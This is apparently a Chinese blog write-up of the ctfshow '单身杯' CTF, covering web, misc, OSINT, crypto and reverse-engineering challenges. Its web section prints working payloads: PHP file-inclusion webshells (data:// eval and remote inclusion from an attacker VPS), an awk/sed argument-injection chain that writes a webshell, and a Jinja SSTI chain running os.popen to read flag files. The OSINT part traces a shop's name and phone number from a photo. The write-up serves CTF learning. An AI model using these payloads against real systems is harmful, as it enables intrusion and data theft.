ctfshow单身杯

目录

<1> web

(1)签到(data协议)

(2) easyPHP(awk执行命令)

(3) 姻缘测试(ssti)

(4) blog

<2> Misc

(1)misc签到

(2) 没大没小的串串

<3>osint部分

(1) 任性老板

(2) 蛤壳雪茄-1

<4> Crypto

(1) The Dancing Men

(2) base(对base进行栅栏的密文解密)

(3) 伪装成RSA的MUSC

<5> re

(1) re签到(base64代码)

(2) magic


<1> web

(1)签到(data协议)

  error_reporting(0);
    highlight_file(__FILE__);
     
    $file = $_POST['file'];
     
    if(isset($file)){
        if(strrev($file)==$file){
            include $file;
        }

strrev 就是翻转字符串,这道题就要保证传入的file字符串反转一样。 同时include file

可以使用data协议,因为data协议php标记?>闭合后可以加任意字符不会影响。

file=data://text/plain,<?php eval($_POST['shell']); ?>>? ;)]'llehs'[TSOP_$(lave php?<,nialp/txet//:atad&shell=system('ls /');

 发现 f1agaaa  cat/f1agaaa 得到flag

ctfshow 单身杯(dsb)_nomv的博客-CSDN博客

除了这个解,看nomv师傅博客可知,这道题还存在远程文件包含

python3 -m http.server 81 开放一个81端口

file=http://vps:ip/1.php?id==di?php.1/pi:spv//:ptth

1.php内容写入我们要执行的php代码
<?php
    //echo system("ls /");
    echo sysetm("cat /f1agaaa");
?>

  注意一定要跟个?否则由于逆序无法包含

 发现flag文件为 f1agaaa 更改1.php为 cat /f1agaaa 得到flag

(2) easyPHP(awk执行命令)

<?php
error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
$param = $_POST['param'];

if(isset($cmd) && isset($param)){
    $cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
    shell_exec($cmd);
}

escapeshellcmd 和 escapeshellarg 函数

预期解是:cmd=sed&param=/php\|POST\|exec/!dw1.php 生成1.php

sed '/php\|POST\|exec/!dw1.php' 

然后 /1.php 传入 cmd=echo "<?php eval(\$_POST[1]);?>">2.php

写入木马文件到 2.php里 然后我们访问2.php

 ls /发现了flag文件

 非预期解:awk执行系统命令

awk | GTFOBins

就是将执行的命令语句输入到文件中并执行。因为是没有回显的,所以可以写入文件里,然后访问查看

写入ls />a命令到a文件 cmd=awk&param=BEGIN {system("ls />a")}

之后访问/a 下载下来a文件,发现flag文件 f1agaaa

 之后写入 cat /f1agaaa 命令到a文件再次访问/a 下载a文件打开即可获得flag

(3) 姻缘测试(ssti)

在源码中发现了/source

 

 访问得到了源码:

def is_hacker(string):
	"""整那些个花里胡哨的waf有啥用,还不如这一个,直接杜绝SSTI"""
	if "{" in string and "}" in string :
		return True
	else:
		return False

 这里是用and判断的,我们可以分开写入 { 和 }

 ?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('ls /').read()}}

 发现flag.txt

?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('cat /flag.txt').read()}}

(4) blog

搞不明白,水平还不够,欠着。。。

<2> Misc

(1)misc签到

提示:

  1. 压缩包密码是5位字符
  2. lsb有内容
  3. flag包含5个空格、2个逗号,均替换为下划线,连续只留1个下划线

 根据提示爆破出密码:61f@X

解压后得到一张 jpg文件 文件末尾发现一大堆base64编码

解码后得到:PNG什么什么  肯定是一张png图片 我们再用base64转图片

 补全二维码定位角,扫码。。。什么都没有 后来得知要将二维码反色后补全就能得到一半flag。

原话:与正常的二维码对比一下,会发现这个的黑白区域好像反了 。 emmm我还需要多练

用Stegsolve转换一下 然后再补上定位码

 hex解码得到后半段flag:lue, far exceeds your belief}

 提示说有lsb,把图片丢进zsteg一把梭后得到前半段flag

记得加 -a 不然显示nothing :(

 最终flag为:ctfshow{Your_potential_value_far_exceeds_your_belief}

(2) 没大没小的串串

打乱了大小写的flag是 y0U_RE4lLy_kn0W_TH1S_ConGr4tUlAT10Ns

其中正确的flag的md5是 7513209051f455fa44d0fa5cd0f3e051

python爆破

# Leetcode784 字母大小全排列
import hashlib
def letterCasePermutation(s):
    result = []
    lens = len(s)
    if s == '':
        return result

    def dfs(currs, idx):
        if idx == lens:
            result.append(currs)
            return
        if s[idx] >= 'a' and s[idx] <= 'z':
            dfs(currs + s[idx], idx + 1)
            dfs(currs + s[idx].upper(), idx + 1)
        elif s[idx] >= 'A' and s[idx] <= 'Z':
            dfs(currs + s[idx], idx + 1)
            dfs(currs + s[idx].lower(), idx + 1)
        else:
            dfs(currs + s[idx], idx + 1)

    dfs('', 0)
    return result
s="y0U_RE4lLy_kn0W_TH1S_ConGr4tUlAT10Ns"
a=letterCasePermutation(s)
for i in a:
    if hashlib.md5(i.encode('utf-8')).hexdigest()=="7513209051f455fa44d0fa5cd0f3e051":
        print("find it:",i)
        break


后面的题看了wp也不知原理,emmm脑洞不够,便不再复现了

<3>osint部分

(1) 任性老板

flag形式为:ctfshow{店名_店家手机号} 下载题目附件得到以下图片

 解压之后我们得到了一张面馆的广告图。我们要根据这张图片溯源到店家名称及手机号。

感觉有一点社工题目的韵味了。

我们通过百度识图,在类似图片里得到了这张图片下面的内容。

 我们百度搜索一下相关信息:

通过视频得知:这个店名应该就是:左撇子私房面

通过百度地图得知店家手机号为:15882424927

所以flag为:ctfshow{左撇子私房面_15882424927}

(2) 蛤壳雪茄-1

题目描述:

这张照片是在22年第一季度-第二季度之间拍的,请找出这家飞机的所属公司的官网地址。

例:ctfshow{www.mumuzi.com}

附件是一个飞机图片:

 这次百度识图识别出一堆奇奇怪怪的玩意,用不得了。。。

yandex识图网上都说很不错:Yandex Images: search for images online or search by image

 

 果然,识别出这个飞机部位应该是波音737 -200 飞机的某个部位,但是看他们的图片是白色的

 我们谷歌搜索 black color Boeing737-200

所以这个飞机所属航空公司的官网为: Vols nolisés - Canada et États-Unis | Chrono Aviation

flag:ctfshow{www.chronoaviation.com}

<4> Crypto

(1) The Dancing Men

如题,舞动的小人

来自夏洛克福尔摩斯在《归来记》中侦探案件使用的一种加密方式

BUUCTF-Crypto-猪圈密码及其变种+银河密码+跳舞的小人_ASSOINT的博客-CSDN博客_银河密码

百度搜索得到了对应的解密图

 

please use underslash between every word with initials in capitals the flag is everyone loves taoshen

所以flag为:ctfshow{Everyone_Loves_Taoshen}

(2) base(对base进行栅栏的密文解密)

The flag is:YhNgZRO0Zc3vDxTjW5m4RdQZINYZUOm3wS0j2m5TcsM1LUYYOF23jjTtiyT9

ctfshow的base64编码是:Y3Rmc2hvdw==

栅栏密码栏数应该是6

 所以base64编码为:Y3Rmc2hvd3s3NDQwMjgxZS1jZTI0LTRjNjUtOWY2Yi05ZmYyZmU5OTc4OTF9

解密得到flag

(3) 伪装成RSA的MUSC

解压后得到一个压缩包和一段文本:

.. .. ... . . .. ... .. .. ... . . .. ... .. .. . . ... . . ...

 

 对照敲击码表得出 22 31 12 32 23 11 23 22 11 31 13 即GLBMHAHGALC

对应提示:nnkyiee是什么意思呢? 九键

得到:45264244252 即压缩包密码

得到了 p、q、c 但是e呢?

再看文本名称:套!都能套!

点阵可以转换为摩斯电码,1个.是.,两个是-三个是空格

-- ..- -- ..- --.. ..

mumuzi 再次九键转为数字

686894  得到了e

RSA e 不互素考点

import gmpy2
from Crypto.Util.number import *


# 当e约去公约数后与phi互素
def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    t = gmpy2.gcd(e, phi)
    d = gmpy2.invert(e // t, phi)
    m = pow(c, d, n)
    print(m)
    msg = gmpy2.iroot(m, t)
    print(msg)
    if msg[1]:
        print(long_to_bytes(msg[0]))

p= 104791011181838632984653274103788907544368791187076335471213944302284807790748266682463882231027996693193572906324997830449026622973759383503770415564182978292591648950046318334646695444450310198889173256818225657021740635305655975465047235964535452899499225672868835617089387862240683251385991237767922785241
q= 90960275501044744928190829668121052091907954961680699856419749850071871964532625791461291878837850007468243999602408861075793822642812918261908705981765163097854558645253227202861087920836248185116835897960441132756288108873425215132591817120886993422056486860736156966942973556049071468967279588398766107387
e= 686894
c= 4760904535528937856481690262397732355407727622511444072793643008141049985355461179480947416206998527526080939575085820881304511476110146502666062305981955205407338190002810791950980724498999422997162030791074913110508848669455374727003737734373054800682699103953435264256125566100583042576647316240024759470816653960355845811060204737625557855881058175018971502763224693108395514674517119000539255761180454879538780379694450171070008832544248927030602002726819086629963953652235265972324121785879653123472819473679133833118153759368617324927859670207154545276222169571548729874270877516947380905110040442091750015568

decrypt(p, q, e, c)

<5> re

(1) re签到(base64代码)

下载的文件拖入到IDA64中,F5调出代码

 发现函数是经过三次be()函数之后,与一段base编码进行比较,是的话就会输出password

 据说是base64编码函数,我还真没看明白....没研究过

不过猜测也应该差不多,我们之间反推,对strcmp函数处的字符串base64解码三次

得到ctfshow{dsb_re_sign_in_hsssssssss}

(2) magic

题目描述:3个密码只有1个是正确的

下载好附件我们拖入IDA中

查看main函数

 发现是输入一个整数,然后作为参数调用checkToken函数,我们跟进查看checkToken函数

发现要同时满足checkSum,p,h 函数都返回true。

checkSum函数:

 h函数:

 p函数:

所以 该整数要满足的条件为:

1. 各位的数字加起来等于58

2. 是回文数

3. 是质数

ctfshow{9888889}

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值